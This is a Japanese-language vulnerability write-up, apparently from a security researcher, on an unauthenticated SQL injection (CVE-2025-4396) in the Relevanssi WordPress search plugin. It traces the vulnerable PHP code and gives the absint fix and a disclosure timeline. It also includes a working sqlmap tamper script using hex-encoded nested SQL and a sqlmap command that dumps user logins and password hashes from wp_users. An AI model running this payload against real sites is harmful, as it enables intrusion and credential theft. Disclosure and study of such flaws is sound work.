10万のWordPressサイトにSQLインジェクションを見つけた話

最近、10万以上のサイトで有効化されていたWordPress検索プラグインRelevanssiに、認証不要のSQLインジェクションを報告しました。このバグが特に面白かった理由は二つあります。ひとつは、数値のタームIDにしか見えない入力に余分なSQLを載せられる型の取り違えがあったこと。もうひとつは、最初のクエリの制約を回避するために、ひとつのSQLインジェクションのペイロードを別のSQLインジェクションの中に忍ばせるという手口が使えたことです。

この記事では、実際のコードパスをたどりながら、なぜこのバグが悪用可能だったのか、そしてcatstagsの検索パラメータを使ってどうやって実用的なブラインドSQLインジェクションにしたのかを説明します。

Relevanssiは、WordPress標準の検索機能をより高機能な検索エンジンに置き換えるプラグインです。関連度の高い順に並べたり、追加のフィルタリングをしたりできるのですが、今回のバグが公開クエリパラメータ経由で到達可能だったのは、その追加の検索機能のおかげでした。

脆弱な入力

RelevanssiはWordPress検索を拡張していて、検索結果を絞り込むための追加クエリパラメータをいくつか受け付けます。そのうち二つがcatstagsで、カテゴリータグで絞り込むために使われます。

カテゴリーの場合、プラグインはcatsパラメータを読み取り、カンマで分割し、その結果をタームIDとして保存します。

if ( isset( $query->query_vars['cats'] ) ) {
	$cat = $query->query_vars['cats'];
	if ( is_array( $cat ) ) {
		$cat = implode( ',', $cat );
	}
}
if ( empty( $cat ) ) {
	$cat = get_option( 'relevanssi_cat' );
}
if ( $cat ) {
	$cat         = explode( ',', $cat );
	$tax_query[] = array(
		'taxonomy' => 'category',
		'field'    => 'term_id',
		'terms'    => $cat,
		'operator' => 'IN',
	);
}

tagsパラメータも同じような形で処理されます。どちらの場合も、プラグインはタームIDを扱っているつもりで、後続のコードもその前提に依存しています。

どこでおかしくなるのか

バグが出るのはもう少し後で、Relevanssiがtaxonomy queryを処理し、ユーザー入力のターム値をterm taxonomy IDに変換しようとする部分です。

foreach ( $terms_parameter as $name ) {
	$term = get_term_by( $field_name, $name, $taxonomy );
	if ( ! $term ) {
		if ( ctype_digit( strval( $name ) ) ) {
			$numeric_terms[] = $name;
		}
	} elseif ( isset( $term->term_id ) && in_array( $field_name, array( 'slug', 'name' ), true ) ) {
		$names[] = "'" . esc_sql( $name ) . "'";
	} else {
		$numeric_terms[] = $name;
	}
}

return array(
	'numeric_terms' => implode( ',', $numeric_terms ),
	'term_in'       => implode( ',', $names ),
);

重要なのは最後のelseです。get_term_by()がタームオブジェクトを返した場合、元の値が数値として検証されないままnumeric_terms配列に追加されます。

一見すると大したことがないように見えますが、WordPressがIDによるターム検索をどう処理するかを見ると話が変わります。

if ( 'id' === $field || 'ID' === $field || 'term_id' === $field ) {
	$term = get_term( (int) $value, $taxonomy, $output, $filter );
	if ( is_wp_error( $term ) || null === $term ) {
		$term = false;
	}
	return $term;
}

検索前に値が整数へキャストされています。つまり、1fooのような文字列は検索時にはタームID 1 として扱われ、もしID 1のタームが存在すれば検索は成功します。しかしnumeric_termsに追加されるのは元の文字列である1fooです。

これは、一見もっともらしく見えるコードでもバグにつながるPHP特有の挙動のひとつです。PHP 8でも警告なしに1fooのような文字列がこっそり1になる、というのは、型に関する前提が危険であることをよく示しています。Relevanssiは、本来は汚染された文字列である元の値を、正しい数値IDとして検証済みであるかのように扱ってしまっていました。

インジェクションポイント

最終的に、それらの値はこのSQLクエリに連結されます。

if ( ! empty( $numeric_terms ) ) {
	$type    = 'term_id';
	$term_in = $numeric_terms;
}

if ( ! empty( $term_in ) ) {
	$row_taxonomy = sanitize_text_field( $row['taxonomy'] );

	$tt_q = "SELECT tt.term_taxonomy_id
			  FROM $wpdb->term_taxonomy AS tt
			  LEFT JOIN $wpdb->terms AS t ON (tt.term_id=t.term_id)
			  WHERE tt.taxonomy = '$row_taxonomy' AND t.$type IN ($term_in)";
	$term_tax_id = $wpdb->get_col( $tt_q );
}

ここでは、$term_inにカンマ区切りの数値IDしか入っていない前提になっています。しかし元の値が整数に変換されていないため、攻撃者が制御するSQLをIN (...)句に紛れ込ませることができます。

実際には、ペイロードは有効なタームIDで始まっている必要があります。カテゴリーならこれは比較的簡単で、カテゴリーID 1は通常デフォルトのUncategorizedで、削除できないことが多いからです。

そのため、リクエストの形は単純です。

?s=vulnerable&cats=1<payload>

sパラメータには普通の検索語が入っていればよく、ペイロード本体はcatsまたはtagsに載せます。

実際の悪用

デフォルトでは、注入したクエリの結果は検索結果に直接反映されません。このクエリは主に、あとで返される投稿を制限する条件を作るために使われます。そのため、実用上はブラインドSQLインジェクションとして攻めるのが現実的で、時間ベースの攻撃がうまく機能します。

ただし、ここにはもうひとつひねりがあります。

最初に注入するクエリは、そのままでは扱いづらい形です。ペイロードがタームIDのカンマ区切りリストの中に紛れ込むので、ペイロード側でカンマを使えません。これはsqlmapにとって問題で、sqlmapが生成するクエリではSQLのIF()文が使われますが、IF()にはカンマが必要だからです。

そこで私が使った回避策は、最初のSQLインジェクションの中に二つ目のSQLペイロードを忍ばせることでした。最初のクエリの結果は後続の別クエリで使われ、その後続クエリもSQLインジェクション可能でした。そこで、最初の注入ポイントで全部やろうとするのではなく、後続クエリで再利用される16進数エンコード済みのSQL断片を出力させるようにしました。

この16進数エンコードの部分は、慣れていないと少し直感的ではないので、少し立ち止まる価値があります。MySQLでは、0x414243のような値は文字列ABCとして解釈されます。つまり、SQL断片全体を16進数で表現すれば、最初のインジェクションポイントで扱いづらいクォートやカンマなどを避けられます。

二つ目のインジェクションポイントは次のような形でした。

$query_restrictions .= " AND relevanssi.doc $tq_operator (
	SELECT DISTINCT(tr.object_id)
		FROM $wpdb->term_relationships AS tr
		WHERE tr.term_taxonomy_id IN ($term_tax_id))";
// Clean: all variables are Relevanssi-generated.

$term_tax_idには、先ほど密輸したSQLを含む前のクエリ結果が入っています。

これを実装するために、私はsqlmapのtamper scriptを使いました。これは、実行中のペイロードをその場で書き換えられる仕組みです。私のtamper scriptは次のようなものでした。

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL


def hex_encode(text: str) -> str:
    return "0x" + "".join("{:02X}".format(ord(c)) for c in text)


def tamper(payload, **kwargs):
    payload = payload.replace("--", "#")
    return f"1) AND 1=2 UNION VALUES ROW({hex_encode(payload)})#"

対応するsqlmapコマンドはこうです。

sqlmap --url="<site-url>?s=vulnerable&cats=1" \
  -p cats \
  --dbms=mysql \
  --level=1 \
  --risk=1 \
  --technique=T \
  --tamper=tamper/hex_encode_tax_query.py \
  --prefix="))" \
  --time-sec=2 \
  --answers="include all tests=n,keep testing=n,store hashes=n,crack=n" \
  --dump -T wp_users -C user_login,user_pass

これで、時間ベースのブラインドSQLインジェクションとして成立させ、データベースからデータをダンプするのに十分でした。

デモ

脆弱な検索リクエストから動作するブラインドSQLインジェクションまで、実際の悪用フローを短いデモ動画に収めました。

バグの修正

原理的には、修正は単純です。数値IDであるべき値は、SQLクエリに届く前に整数へ変換するべきです。

たとえば、結合する前にこうキャストできます。

$numeric_terms[] = absint( $name );

また、catstagsを最初にクエリパラメータから読む段階で、もっと早く検証するのも有効です。

$cat = array_map( 'absint', explode( ',', $cat ) );

より広い教訓として、検索が成功したことは元の入力が安全だという証拠にはなりません。このケースでは、WordPressは検索時に文字列を整数へキャストしてくれましたが、Relevanssiはそのあとで、元の文字列をすでに信頼できる数値データであるかのように再利用していました。

タイムライン

  • 2025-05-03 — Wordfenceにレポートを提出しました。
  • 2025-05-07 — レポートがトリアージされ、881ドルの報奨金が支払われました。
  • 2025-05-07 — Relevanssi開発者が修正版の4.24.5を公開しました。
  • 2025-05-12CVE-2025-4396としてアドバイザリが公開されました。